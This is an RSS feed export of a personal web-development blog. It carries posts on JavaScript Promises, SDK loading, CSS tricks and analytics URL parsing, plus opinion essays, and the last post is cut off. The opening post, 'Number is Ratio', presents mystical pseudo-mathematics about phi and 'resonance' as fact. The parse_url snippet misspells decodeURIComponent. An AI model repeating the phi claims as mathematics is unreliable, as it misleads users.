<?xml version='1.0' encoding='UTF-8'?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-30596097</atom:id><lastBuildDate>Sun, 31 May 2026 12:13:33 +0000</lastBuildDate><category>Javascript</category><category>IE6</category><category>bugs</category><category>html</category><category>javascript metaprogramming</category><category>management</category><category>memoization</category><category>webdev</category><category>y-combinator</category><title>null is null or not an object</title><description></description><link>http://nullisnull.blogspot.com/</link><managingEditor>noreply@blogger.com (φ)</managingEditor><generator>Blogger</generator><openSearch:totalResults>84</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-6330990902860180912</guid><pubDate>Wed, 31 Aug 2016 01:16:00 +0000</pubDate><atom:updated>2017-04-25T10:16:33.070-07:00</atom:updated><title>Number is Ratio</title><description>Braids of resonance weave through every fractal bit in spacetime. Moduli overlap in resonance and prime superposition yielding families of functional disambiguators.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Numbers, as we know them, are ratios.&lt;br /&gt;
For example, 5 is 5/1 or 5:1.&lt;br /&gt;
&lt;br /&gt;
We typically compare numbers sharing the same ratio: 1.&lt;br /&gt;
For example, the ratio 13:5 is 13/1 / 5/1, or 13/5.&lt;br /&gt;
&lt;br class=&quot;Apple-interchange-newline&quot; /&gt;This ties [the magnitude size of] ratios to the common ratio, 1.&lt;br /&gt;
The number 1 is special because it has linear symmetry: 1/1.&lt;br /&gt;
&lt;br /&gt;
Our mathematics and calculators are not typically very good at handling very very very large numbers or ratios.&lt;br /&gt;
How many photons would fit between here and the furthest human-made satellite?&lt;br /&gt;
An exact number, extremely large, changing every instant.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Use another common ratio that is self-similar,&amp;nbsp;&lt;b style=&quot;background-color: white; color: #222222; font-family: arial, sans-serif-light, sans-serif; font-size: small;&quot;&gt;Φ&lt;/b&gt;&lt;span style=&quot;background-color: white; color: #222222; font-family: arial, sans-serif-light, sans-serif; font-size: x-small;&quot;&gt;:&lt;/span&gt;&lt;b style=&quot;background-color: white; color: #222222; font-family: arial, sans-serif-light, sans-serif; font-size: small;&quot;&gt;φ&lt;/b&gt;.&lt;br /&gt;
This number is also special because it also has binary symmetry, although curved.&lt;br /&gt;
This curve can then be used to compare curvatures, and preserve magnitudes exactly even when using infinitely large numbers or infinitely small.&lt;br /&gt;
The shape of the curve is used to make extremely large leaps of magnitude and fix inaccuracies at infinitely small scales.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We would probably only measure things close to our scale, from the universal to the Plank, sub-quantum and algorithmic scales and everything in between, like the size of our bodies or vehicles.&lt;br /&gt;
Further, we could use the current date and time as one of the numbers to preserve our scale of time as it moves. In essence, the ratio between any number and the present time, compared to the common ratio, yields a number to iterate until a limit (of time).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Braids of resonance weave through every fractal bit in spacetime. Moduli overlap in resonance and prime superposition yielding families of multidimensional disambiguators.&lt;br /&gt;
&lt;br /&gt;</description><link>http://nullisnull.blogspot.com/2016/08/number-is-ratio.html</link><author>noreply@blogger.com (φ)</author><thr:total>3</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-7536871657212320905</guid><pubDate>Tue, 18 Aug 2015 06:11:00 +0000</pubDate><atom:updated>2015-08-17T23:11:00.358-07:00</atom:updated><title>Teachers should be great writers (of HTML)</title><description>&lt;p&gt;Learning, as a psychological activity, also evolves as the product of individual and social evolution. Our species becomes more knowledgeable and able to quickly learn anything, so the expectations for learning increase too.

&lt;p&gt;From oral presentation and static text-books to BYOD tablets and web apps, the future will always nurture more efficient and also more diverse ways to communicate. The latest app, gadget, wearable, protocol, stack, meme, slang. From the Oxford comma to the latest build, the ways we communicate and fulfill our needs is not only a reflection of our psychology, it is in itself an extension of the fundamental rules of life. 

&lt;h2&gt;Everything we invent is a product of life&lt;/h2&gt; 

&lt;p&gt;Communication describes itself (words about words), is self-referential and can be studied as an aggregate organism: the sum of the minds that filter, persist and communicate the individual memes. Just like the sum of the bees that make a hive and produce honey for a queen. The Queens of our societies are our muses and the projections of our ideals, needs and motivations. Our honey is that new tech, that sweet ride or accessory. 

&lt;h2&gt;Our feathers that show others we are doing great&lt;/h2&gt;

&lt;p&gt;As a business idea gains market traction, the market rushes and supply meets demand; significantly sharpening the efficacy and efficiency of product and delivery. There is an app for that. There is a startup for that. There is a post-it for that. We live in an era where ideas are abundant and the laws that regulate the market complex enough to necessitate at least one full-time, competent (competitive too) lawyer. And a marketer. And a designer. 

&lt;h2&gt;And a unicorn&lt;/h2&gt;

&lt;p&gt;But the key to all of our human existence lies on our individual ability to produce that which the ecosystem finds valuable, one way or another and to extreme degrees: the poor, the miserable, and the absurdly rich. An extremely distributed system that shaves off barely-existing quantities from a mind-boggling number of transaction fees is basically invisible to the users but can rake these obscene amounts of cash, and less likely to garner objections or scrutiny because it feeds so many mouths under its shade. This is the power of the brand and the tycoons behind them.

&lt;h2&gt;The ability to almost-imperceptibly be everywhere and take almost nothing until it adds up to everything (that matters)&lt;/h2&gt;

&lt;p&gt;Teachers need certain materials to be learned, and students need to learn these materials. That is what the money is for: to have people learn useful things. A teacher who can communicate effectively and also meets the needs of a modern student fares better than another, who is disinterested in communicating at all. 

&lt;h2&gt;A babysitter is not a mentor&lt;/h2&gt;

&lt;p&gt;Efficient communication is not only the ability to interact through physical media (talking, face to face, visual aids) but also cyber-media: a classroom web app, mobile site, beacon, geotag. If a person speaks more than one language and can program too, there are that many more tools to reach a broader audience and aid in the formation of fundamentals.

&lt;p&gt;People go to schools to learn. Multiple channels of communication, as well as a structured and organized maintenance of knowledge body, are the fundamentals that allow the success of any school or place of learning. A multilingual course coupled with electronic aids for translation and accessibility.

&lt;h2&gt;More people can learn and understand, better and more&lt;/h2&gt;

&lt;p&gt;Our current universal tools, the HTML/CSS/JS trifecta are still not to the point where just anyone can pick them up and produce something decent (or at all) in a short amount of time, but they are evolving one way or another. Each library, each project is a specimen with a specific set of mutations with the purpose of addressing a specific set of needs. Some of these projects will succeed and imprint in others the successful pattern, uncovering yet another new set of needs ahead.

&lt;pre class=&quot;prettyprint&quot;&gt;
function soon(){ &#39;...&#39; }
&lt;/pre&gt;

&lt;h2&gt; Education is Everything &lt;/h2&gt;

</description><link>http://nullisnull.blogspot.com/2015/08/teachers-should-be-great-writers-of-html.html</link><author>noreply@blogger.com (φ)</author><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-4287086603425488413</guid><pubDate>Tue, 25 Mar 2014 03:46:00 +0000</pubDate><atom:updated>2014-03-25T11:27:32.754-07:00</atom:updated><title>wish: a tiny promise</title><description>The &lt;a href=&quot;http://www.html5rocks.com/en/tutorials/es6/promises/&quot;&gt; JavaScript Promises &lt;/a&gt; feature arrives in browsers natively around 2014. (&lt;em&gt;See also: &lt;a href=&quot;http://caniuse.com/#feat=promises&quot;&gt;current support for promises&lt;/a&gt;&lt;/em&gt;)&lt;br&gt;

&lt;h2&gt; Example: Fetch location, then weather data &lt;/h2&gt;
&lt;h3&gt; I. With callbacks, not Promises &lt;/h3&gt;
&lt;pre class=prettyprint&gt;
getWeather(function(weather){ 
  console.log(weather) });

function getWeather(then){
  getPosition(function(position){
    get(&#39;//api.openweathermap.org/data/2.5/weather?&#39; 
            + &#39;lat=&#39; + (0|position.coords.latitude)
            + &#39;&amp;lon=&#39; + (0|position.coords.longitude), then); }); }

function getPosition(then){ 
  return navigator.geolocation.getCurrentPosition(then); }

function get(url, then){
  with (new XMLHttpRequest)
    onload = function(xhr){
      then(JSON.parse(xhr.target.response)); },
    open(&#39;GET&#39;, url),
    send(); }
&lt;/pre&gt;

&lt;h3&gt; II. With Promises &lt;/h3&gt;
&lt;pre class=prettyprint&gt;
getPosition()
  .then(getWeather)
  .then(log);
  

function getPosition(){
    return new Promise(function(then){
        navigator.geolocation.getCurrentPosition(then); }); }

function getWeather(position){
    return new Promise(function(then){
        get(&#39;//api.openweathermap.org/data/2.5/weather?&#39; 
            + &#39;lat=&#39; + (0|position.coords.latitude)
            + &#39;&amp;lon=&#39; + (0|position.coords.longitude)).then(then); }); }
            
function get(url, then){
  return new Promise(function(then){
    with (new XMLHttpRequest)
      onload = function(xhr){
        then(JSON.parse(xhr.target.response)); },
      open(&#39;GET&#39;, url),
      send(); }); };


function log(){
    console.log(arguments[0]) }
&lt;/pre&gt;


&lt;h2&gt; This does not look easier &lt;/h2&gt;

Good one. It doesn&#39;t.&lt;br&gt;

What matters is that &lt;b&gt;the user flow is easier to read&lt;/b&gt;. While the implementation of the calls may be more complicated to understand and debug, these parts usually (especially with tests) do not see much change.&lt;br&gt;

The difference may be subtle, but very important: &lt;b&gt;Functional separation greatly improves maintainability&lt;/b&gt;. Once the functionality is available, it can be very easily reused by other flows without fuss. Conversely, the first example makes the code impossible or very difficult to reuse.

&lt;h2&gt; What do you think? &lt;/h2&gt;
</description><link>http://nullisnull.blogspot.com/2014/03/wish-tiny-promise.html</link><author>noreply@blogger.com (φ)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-4871355953327854197</guid><pubDate>Thu, 27 Sep 2012 00:02:00 +0000</pubDate><atom:updated>2013-12-02T11:18:42.277-08:00</atom:updated><title>Asynchronous library loading with jQuery.Deferred</title><description>A common pattern for asynchronous library loading, without the use of script loaders (&lt;a href=&quot;//requirejs.org&quot;&gt;requirejs&lt;/a&gt;, etc).

&lt;pre class=prettyprint&gt;
var your_library = &#39;can be FB (facebook) or google or whatever&#39;;

jQuery.when (window[your_library] || jQuery.Deferred (function(loader){
  load(your_library);
  loader.resolve();
}))
.done (do_stuff);

function load (){
  /* append the script to the page and declare the callback */
}

function do_stuff(){
/* continue, assuming that window[your_library] is loaded */
}
&lt;/pre&gt;

&lt;h2&gt;Example Using Facebook API&lt;/h2&gt;

&lt;pre class=prettyprint&gt;
jQuery.when (window[&#39;FB&#39;] || jQuery.Deferred (function(loader){

  // 1. load the Facebook API
  jQuery(&#39;&amp;lt;div id=fb-root&gt;&amp;lt;/div&gt;\
    &amp;lt;script src=&quot;//connect.facebook.net/en_US/all.js&quot; async&gt;&amp;lt;/script&gt;&#39;)
    .appendTo(&#39;body&#39;);

  // 2. the Facebook API has a default callback function name
  window.fbAsyncInit = function(){

    // ensure this is run only once
    window.fbAsyncInit = Function;

    FB.init({/* your init parameters here */});

    // 3a. trigger the continuation of the script
    loader.resolve();
  };
}))
// 3b. continue
.done(function(){
  FB.getLoginStatus(function(response){
    /* etc. */
  });
});
&lt;/pre&gt;

The pattern is simple. If the library in question has already loaded, it simply continues straight to &lt;code&gt;done&lt;/code&gt;, otherwise it will call the deferred loader.

&lt;h2&gt;Example Using Google Maps API&lt;/h2&gt;

&lt;pre class=prettyprint&gt;
jQuery.when(window[&#39;google&#39;] || jQuery.Deferred(function(loader){    
  // a unique callback function name because why not
  var callback = &#39;_&#39; + (+new Date).toString(36),
      // use your key here if you need it
      src = &#39;//maps.googleapis.com/maps/api/js?sensor=true&amp;callback=&#39;
          + callback;

  // 1. load google maps
  $(&#39;&amp;lt;script&gt;&#39;, { src: src }).appendTo(&#39;body&#39;);
  
  window[callback] = function(){ loader.resolve() };
}))
.done(function(){
  // something like this
  var defaultLocation = new google.maps.LatLng(33.990,-118.459);
  /* etc */
});

&lt;/pre&gt;
</description><link>http://nullisnull.blogspot.com/2012/09/asynchronous-library-loading-with.html</link><author>noreply@blogger.com (φ)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-8596415329900345241</guid><pubDate>Sun, 01 Jul 2012 05:24:00 +0000</pubDate><atom:updated>2012-07-02T13:03:41.344-07:00</atom:updated><title>timeout and interval</title><description>&lt;h2&gt;I. &lt;a href=&quot;http://css-tricks.com/snippets/css/webkit-keyframe-animation-syntax/&quot;&gt;CSS3 animation shorthand&lt;/a&gt; (&lt;a href=&quot;http://www.w3.org/TR/css3-animations/#animation-shorthand-property&quot;&gt;w3/spec&lt;/a&gt;)&lt;/h2&gt;

&lt;pre class=prettyprint&gt;
@keyframes once { /* something */ }
@keyframes repeat { /* something */ }

#thing { animation:once 3s }
.things { animation:repeat 3s 300ms infinite }
&lt;/pre&gt;

&lt;h2&gt;II. &lt;a href=&quot;http://learnjs.org/&quot;&gt;js&lt;/a&gt;&lt;/h2&gt;

&lt;pre class=prettyprint&gt;
setTimeout(function once(){ /* something */ }, 3e3);
// no direct way to specify an initial delay
setInterval(function repeat(){ /* something */ }, 3e3);
&lt;/pre&gt;


&lt;h2&gt;III. Hypothetical &lt;a href=&quot;//jquery.com&quot;&gt;jQuery&lt;/a&gt; plugin (&lt;a href=&quot;//docs.jquery.com&quot;&gt;jQuery/docs&lt;/a&gt;)&lt;/h2&gt;

&lt;pre class=prettyprint&gt;
$(&#39;#thing&#39;).timeout(function once(){ /* something */ }, 3e3);
$(&#39;.things&#39;).interval(function repeat(){ /* something */ }, 3e3, 300);
&lt;/pre&gt;</description><link>http://nullisnull.blogspot.com/2012/06/timeout-and-interval.html</link><author>noreply@blogger.com (φ)</author><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-6326339828697674009</guid><pubDate>Fri, 10 Feb 2012 19:58:00 +0000</pubDate><atom:updated>2012-02-10T11:58:52.688-08:00</atom:updated><title>How to work with me: a follow-up</title><description>&lt;p&gt;Looking at traffic sources for this blog, I noticed that one of them isn&#39;t spam —shocking! I skimmed through it and the comments, but it was particularly the title, &lt;a href=&quot;//bit.ly/w6uJRC&quot;&gt;Servant Mentality&lt;/a&gt;, what caught my attention.

&lt;p&gt;The comments there and in general the ones I saw here and on &lt;a href=&quot;//bit.ly/zkqerZ&quot;&gt;Hacker News&lt;/a&gt; were very particularly polarized: on one end, those who take offense. On the other, those that don&#39;t.

&lt;h2&gt;The software industry, and the psychology of programming languages fundamentally changes the psique of humans.&lt;/h2&gt;

&lt;p&gt;I&#39;m not saying it is the only thing that does it, nor that it does it to everyone, but there is strong correlation.

&lt;p&gt;When programming, optimization becomes part of everyday vocabulary: from actual algorithm optimization and latency analysis to timeline estimates and defect triage. One thing learned is, there is no silver bullet, only incremental improvements applied to the &lt;i&gt;measured&lt;/i&gt; bottlenecks.

&lt;p&gt;There are those who take passion in what they do and take the lessons to &quot;hack&quot; their lives too. Optimizing life can become a very entertaining hobby worth talking about with those who share the passion for it.

&lt;h2&gt;Optimizing doesn&#39;t come without downsides.&lt;/h2&gt;

&lt;p&gt;Eventually, some people realize that sugar-coating things are a sign of uncertainty, as &lt;strong&gt;there is no need to beat around the bush when respect is not in jeopardy.&lt;/strong&gt; You say what you want and how, expect an honest response or rebuttal and iterate until a better state is reached.

&lt;p&gt;Turns out that the extreme logical mind can often be at odds with an emotional mind with regards to criticism: the logical —optimizer— mind can take joy in pointing out defects and addressing them —self included, objectively— while the emotional mind can be obstructed and manipulated by an immature ego which &lt;i&gt;by fear&lt;/i&gt; defends actions as if they were immutable extensions of the self; defending work as if they were actual appendages at risk.

&lt;p&gt;It is immature and ineffective to argue otherwise, but logic also dictates that friction is ineffective which is where &amp;ldquo;pick your battles&amp;rdquo; comes from.

&lt;h2&gt;Projections&lt;/h2&gt;

&lt;p&gt;When reading &lt;a href=&quot;//bit.ly/AidEMo&quot;&gt;the list&lt;/a&gt;, the vast majority of the readers are picturing an imaginary author. When I read it, I picture a real author &lt;i&gt;because I actually know him&lt;/i&gt;. So it&#39;s natural for the former to project their insecurities and frustrations and reveal a lot about themselves, unknowingly.

&lt;p&gt;To those with reasonable arguments —in either direction— thank you.

&lt;p&gt;To the whiners, thank you. Your unreasonable arguments are entertaining. Haters gun&amp;rsquo; hate.</description><link>http://nullisnull.blogspot.com/2012/02/how-to-work-with-me-follow-up.html</link><author>noreply@blogger.com (φ)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-6109753132780754544</guid><pubDate>Tue, 07 Feb 2012 19:56:00 +0000</pubDate><atom:updated>2012-02-07T11:56:41.757-08:00</atom:updated><title>What our software says about us</title><description>&lt;ol&gt;
  &lt;li&gt;Attention to detail: if we care and how much.
  &lt;li&gt;Comprehension of the subject and problem.
  &lt;li&gt;Eloquence: comprehension and mastery of the language.
  &lt;li&gt;Use of adequate tools.
  &lt;li&gt;Are the ideas compatible with the language constructs in use?
&lt;/ol&gt;

&lt;p&gt;Indeed, someone looking at your code can tell if you want to quit, if you&#39;re an idiot, if you &lt;em&gt;like&lt;/em&gt; being an idiot, if you&#39;re awkward and if you should be doing something else.

&lt;p&gt;But in all seriousness, it really tells a lot.

&lt;p&gt;For those actually &lt;em&gt;writing and designing&lt;/em&gt; the languages themselves, &lt;strong&gt;respek&lt;/strong&gt;.

&lt;p&gt;I can only strive for it.</description><link>http://nullisnull.blogspot.com/2012/02/what-our-software-says-about-us.html</link><author>noreply@blogger.com (φ)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-7030792856516719540</guid><pubDate>Tue, 07 Feb 2012 19:48:00 +0000</pubDate><atom:updated>2012-02-07T11:48:24.745-08:00</atom:updated><title>Quick parse_url</title><description>Let&#39;s say you have an insane URL like a Google Analytics beacon:

&lt;pre class=prettyprint&gt;
var url = &#39;http://www.google-analytics.com/__utm.gif?utmwv=5.2.4&amp;utms=23&amp;utmn=353317006&amp;utmhn=www.something.something.com&amp;utmt=event&amp;utme=5(monetization_partner*buy_amazon*%2Fseries%2FThe_Millennium_Trilogy_Stieg_Larsson)(1)8(user_type*logged_in)9(119*true)11(1*2)&amp;utmcs=UTF-8&amp;utmsr=2560x1440&amp;utmvp=1103x767&amp;utmsc=24-bit&amp;utmul=en-us&amp;utmje=1&amp;utmfl=10.3%20r183&amp;utmdt=The%20Millennium%20Trilogy%20-%20Small%20Demons&amp;utmhid=1278954452&amp;utmr=0&amp;utmp=%2Fseries%2FThe_Millennium_Trilogy_Stieg_Larsson&amp;utmac=UA-xxxxxxxx-x&amp;utmcc=__utma%3D76481800.571237505.1328141482.1328580205.1328639116.18%3B%2B__utmz%3D76481900.1328141480.1.1.utmcsr%3D(direct)%7Cutmccn%3D(direct)%7Cutmcmd%3D(none)%3B&amp;utmu=6QAAAAAAAAAAAAAQ~&#39;;
&lt;/pre&gt;

Now let&#39;s say you want to figure it out:
&lt;pre class=prettyprint&gt;
url
  .split(/[?&amp;]/)
  .forEach(function(param){
    console.log( decodeURICompontent(param).replace(&#39;=&#39;, &#39;: &#39;) ) 
  });
&lt;/pre&gt;

It will look like this:
&lt;pre class=prettyprint&gt;
http://www.google-analytics.com/__utm.gif
utmwv: 5.2.4
utms: 23
utmn: 353317006
utmhn: www.smalldemons.com
utmt: event
utme: 5(monetization_partner*buy_amazon*/series/The_Millennium_Trilogy_Stieg_Larsson)(1)8(user_type*logged_in)9(119*true)11(1*2)
utmcs: UTF-8
utmsr: 2560x1440
utmvp: 1103x767
utmsc: 24-bit
utmul: en-us
utmje: 1
utmfl: 10.3 r183
utmdt: The Millennium Trilogy - Small Demons
utmhid: 1278954452
utmr: 0
utmp: /series/The_Millennium_Trilogy_Stieg_Larsson
utmac: UA-xxxxxxxx-x
utmcc: __utma=76481800.571237505.1328141482.1328580205.1328639116.18;+__utmz=76481900.1328141480.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);
utmu: 6QAAAAAAAAAAAAAQ~
&lt;/pre&gt;

So there&#39;s that. Enjoy.


&lt;h2&gt;Somewhat-related rant&lt;/h2&gt;
I figure you may want to know what the parameters mean, so here you go.
&lt;a href=&quot;http://code.google.com/apis/analytics/docs/tracking/gaTrackingTroubleshooting.html#gifParameters&quot;&gt;The GIF Request Parameters for Google Analytics&lt;/a&gt; (mostly) say:

&lt;pre class=prettyprint&gt;
Tracking code version: 5.2.4
Session counter (not on GA page): 23
Unique GIF id: 353317006
Host Name: www.smalldemons.com
Type of request: event
Extensible vars: 5(&amp;lt;category&amp;gt;*&amp;lt;action&amp;gt;*&amp;lt;label&amp;gt;)(1)8(user_type*logged_in)9(119*true)11(1*2)
Encoding (not on GA page): UTF-8
Screen resolution: 2560x1440
Viewport (not on GA page): 1103x767
Screen color depth: 24-bit
User language: en-us
Java Enabled (not on GA page): 1
Flash version: 10.3 r183
Page title: The Millennium Trilogy - Small Demons
Analytics-AdSense id: 1278954452
Referral URL: 0
Page request: /series/The_Millennium_Trilogy_Stieg_Larsson
Account: UA-xxxxxxxx-x
Cookie: __utma=76481800.571237505.1328141482.1328580205.1328639116.18;+__utmz=76481900.1328141480.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);
Crazy sum*: 6QAAAAAAAAAAAAAQ~
&lt;/pre&gt;

&lt;p&gt;
*Some fool with a lot more time than me figured it&#39;s a bitmap (not an image!) of &lt;a href=&quot;http://glucik.blogspot.com/2011/02/utmu-google-analytics-request-parameter.html&quot;&gt;functions blah blah blah.&lt;/a&gt;

&lt;p&gt;
Also, if you wonder if &lt;a href=&quot;http://www.lanceramoth.com/blog/2011/10/why-is-stumbleupon-stealing-your-google-analytics-data&quot;&gt;this data could be used by third parties to track you&lt;/a&gt;, it appears possibly maybe.

&lt;p&gt;
I&#39;ve changed a couple of numbers in this data, just so I don&#39;t get a hater commenting on my stupidity. But hey, haters gun&#39; hate anyway.</description><link>http://nullisnull.blogspot.com/2012/02/quick-parseurl.html</link><author>noreply@blogger.com (φ)</author><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-321781115749878346</guid><pubDate>Tue, 07 Feb 2012 18:37:00 +0000</pubDate><atom:updated>2012-02-07T10:37:19.246-08:00</atom:updated><title>CSS debug rule</title><description>&lt;pre class=prettyprint&gt;
* {
    background:transparent !important;
    box-shadow: -0.6ex -1.6ex .6ex rgba(161, 8, 0, 0.33);
    font-size: 1.01em;
    left: .3em;
    outline: 1px solid rgba(161, 8, 0, 0.33);
    position: relative;
    top: .6em;
    transition:all 1s
}
&lt;/pre&gt;</description><link>http://nullisnull.blogspot.com/2012/02/css-debug-rule.html</link><author>noreply@blogger.com (φ)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-2573857211334303246</guid><pubDate>Sun, 05 Feb 2012 04:51:00 +0000</pubDate><atom:updated>2012-02-07T10:39:53.367-08:00</atom:updated><title>Tiny carousel</title><description>Thinking always beats compression.

&lt;pre class=prettyprint&gt;
setInterval(function(){
  $(&#39;#carousel img:last-child, #testimonials blockquote:last-child&#39;)
    .fadeOut(1e3, function(){
      $(this).prependTo(this.parentNode).show()
    });
}, 5e3);
&lt;/pre&gt;

Take a look at a &lt;a href=&quot;http://nullisnull.blogspot.com/2011_02_01_archive.html&quot;&gt;
simple animation algorithm&lt;/a&gt;.</description><link>http://nullisnull.blogspot.com/2012/02/tiny-carousel.html</link><author>noreply@blogger.com (φ)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-7563862394494667424</guid><pubDate>Thu, 17 Nov 2011 04:35:00 +0000</pubDate><atom:updated>2011-11-18T10:56:33.803-08:00</atom:updated><title>Closure Stylesheets are good but not great.</title><description>&lt;a href=&quot;http://bit.ly/uoVOz6&quot;&gt;Closure Stylesheets&lt;/a&gt; are a good effort from Google. Unfortunately, they released after Less, SCSS and SASS (&lt;a href=&quot;http://bit.ly/tkAFDC&quot;&gt;see discusson on HN&lt;/a&gt;). In defense of that argument, I would say that the tool has been in use for a while, it was only the public release (and the process that it entails) what took longer than these other solutions.

&lt;p&gt;But that&#39;s not actually what I&#39;m rabbling about today. I won&#39;t get into the details of what syntax or implementation is better either.

&lt;h2&gt;They miss the point&lt;/h2&gt;

&lt;p&gt;&lt;b&gt;Development tools are very helpful, but they also stint the ability to learn how to use a language more efficiently&lt;/b&gt;. Of course, what matters is to get things done, but in the long run it will make a big difference to those who put the work (or were inspired) to do it better.

&lt;p&gt;For example: using variables in CSS makes sense when you think about re-using colors here and there. Could this be better addressed by using a separate stylesheet that deals with colors (and non-layout modifying rulesets)?

&lt;p&gt;The point is that the inconsistency of content format makes a developer (or is it the other way around?) write a ton of rules to undo all the badly-inherited ones. The complexity of the current codebase makes it near impossible to even figure out what is reusable and how to use it —and frankly, most often things are not designed with reusability in mind: shocking, right?

&lt;p&gt;So the problem about reducing code size is not about how big your code is. As we move into the future, the target market will increasingly be represented by higher bandwidth consumers, since those are the ones with the money to spend. —I understand there is a long tail and it is irrelevant here. As devices download faster and richer media is served, your CSS, HTML and JS will be puny compared to the number of images and HD videos that you&#39;re serving. Ever-increasing compression, bandwidth and client-side storage and caching will increase this trend, no matter at what rate. Given enough time, code size will be irrelevant.

&lt;p&gt;What &lt;em&gt;does&lt;/em&gt; matter is how maintainable your code is. &lt;b&gt;Code size does become increasingly important&lt;/b&gt; but because there will be exponentially more time invested in fixing bugs and building new features as a direct result of the lines of code and people involved. 

&lt;p&gt;Another example: What about calculated dimensions? Isn&#39;t it a pain to keep track of what the paddings and width add up to?

&lt;h2&gt;You are missing the point&lt;/h2&gt;

&lt;p&gt;The future is bringing a diversity of devices: apps on phones, tablets, laptops, desktops and TVs. The more anyone is developing a pixel-perfect layout, the more it will look stupid on all other devices but yours. Adaptive layout requires thinking about how the content will flow and accommodate the available screen size and pixel density. Pixel-perfect layouts are perfect for making your work look like that spiffy mock, but it won&#39;t look so great on most devices by the end of next year, if not sooner.

&lt;p&gt;This jewel from 2006, &lt;a href=http://bit.ly/up358t&gt;Switchy McLayout on ALA&lt;/a&gt;, explained it well a long, long, long, internet time ago (seriously, look at an &lt;a href=http://bit.ly/uCVJFQ&gt;internet meme timeline&lt;/a&gt;. That was the same year as &lt;a href=http://chzb.gr&gt;ICHC&lt;/a&gt;!). But the point is not to talk about how great adaptive layout is.

&lt;h2&gt;The point&lt;/h2&gt;

&lt;p&gt;Tools that make you lazy are bad for you, but not as bad if you truly suck. Take the time to love and learn your trade or step aside.

&lt;h2&gt;Still here?&lt;/h2&gt;

&lt;p&gt;I&#39;m glad. Let&#39;s build a better web. Check out these resources&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://www.useit.com/alertbox/3-screens-transmedia.html&quot;&gt;Transmedia Design for the 3 Screens (Nielsen)&lt;/a&gt;
&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/File:Usage_share_of_web_browsers_(Source_StatCounter).svg&quot;&gt;Chrome/mobile share on the rise&lt;/a&gt;
&lt;/ul&gt;</description><link>http://nullisnull.blogspot.com/2011/11/closure-stylesheets-are-good-but-not.html</link><author>noreply@blogger.com (φ)</author><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-8811206438973748269</guid><pubDate>Mon, 22 Aug 2011 20:41:00 +0000</pubDate><atom:updated>2011-08-22T13:41:07.792-07:00</atom:updated><title>Write your own work contract</title><description>&lt;p&gt;If your work is hot, you get to set the price.

&lt;h2&gt;Does this happen in practice?&lt;/h2&gt;

&lt;p&gt;To pull this off, the contract would have to consider the future employer&#39;s needs. For example, my contract could say that while I am employed for one company, I can&#39;t be also employed at another one; especially if it is a competitor but also if it results in a negative impact in my performance: working under expectations. &lt;b&gt;Make sure expectations are set beforehand. This applies to marriage as well&lt;/b&gt;

&lt;p&gt;I would choose the freedom to work on my own company, as I want to further my own career and life beyond what is reasonable to work for someone else. I do want to be doing something in 5 to 10 years and nobody is going to complain much if I leave a company then. It is then in my best interest to add that clause.

&lt;p&gt;However, if working on this separate enterprise is competing in resources or opportunity then it&#39;s out. This can be generalized as a simple antitrust clause: &lt;b&gt;Work on whatever, but don&#39;t screw us&lt;/b&gt;

&lt;h2&gt;In law, things always get muddy&lt;/h2&gt;

&lt;p&gt;For example, if I have company property (computer) and I do some other work on it, some contracts generically stipulate that all intellectual property coming from that device is property of the company. I would be pissed about this. What if I tweet a million-dollar idea? Should I use gmail from my own phone? That would be ridiculous.

&lt;p&gt;However, if I come up with something that negatively affects the market aspirations of the company, it is reasonable to assume that I am at fault. Again, if I can contribute to my employer with something I do on my own, it makes sense to share, especially if it&#39;s their equipment.

&lt;h2&gt;Contracts and the law in general have never been very deserving of my attention&lt;/h2&gt;

&lt;p&gt;I prefer using common sense and dealing only with people who have a healthy —or just similar— sense of trust. After all, the heart of the law is to protect from abuse, not to use it to abuse others. Unfortunately, the solution has been to write more law mostly to the benefit of those who invest their life trying to understand a little part of it.

&lt;p&gt;When we stop communicating as human citizens and let behavior be ruled by the shroud of selfish intent, artificial means to protect our society emerge. Stupid laws. Contracts that nobody can read. Enforcers who get high on the power trips and are neither protecting nor serving. That stuff has to stop.

&lt;h2&gt;The law is silly because we shouldn&#39;t need it &lt;/h2&gt;

&lt;p&gt;If you think I&#39;m saying it shouldn&#39;t be followed, then the law was made for people like you who miss the point. 

&lt;p&gt;Harsh but necessary.

&lt;h3&gt;I would love to hear ideas for simple clauses&lt;/h3&gt;

&lt;p&gt;Something like:&lt;i&gt;Work on whatever, don&#39;t screw us&lt;/i&gt; and &lt;i&gt;Work whenever, just get things done in time&lt;/i&gt;. From this, it is important to make sure that expectations about output are clear from the beginning and that all deadlines and work load is agreed to as reasonable beforehand.

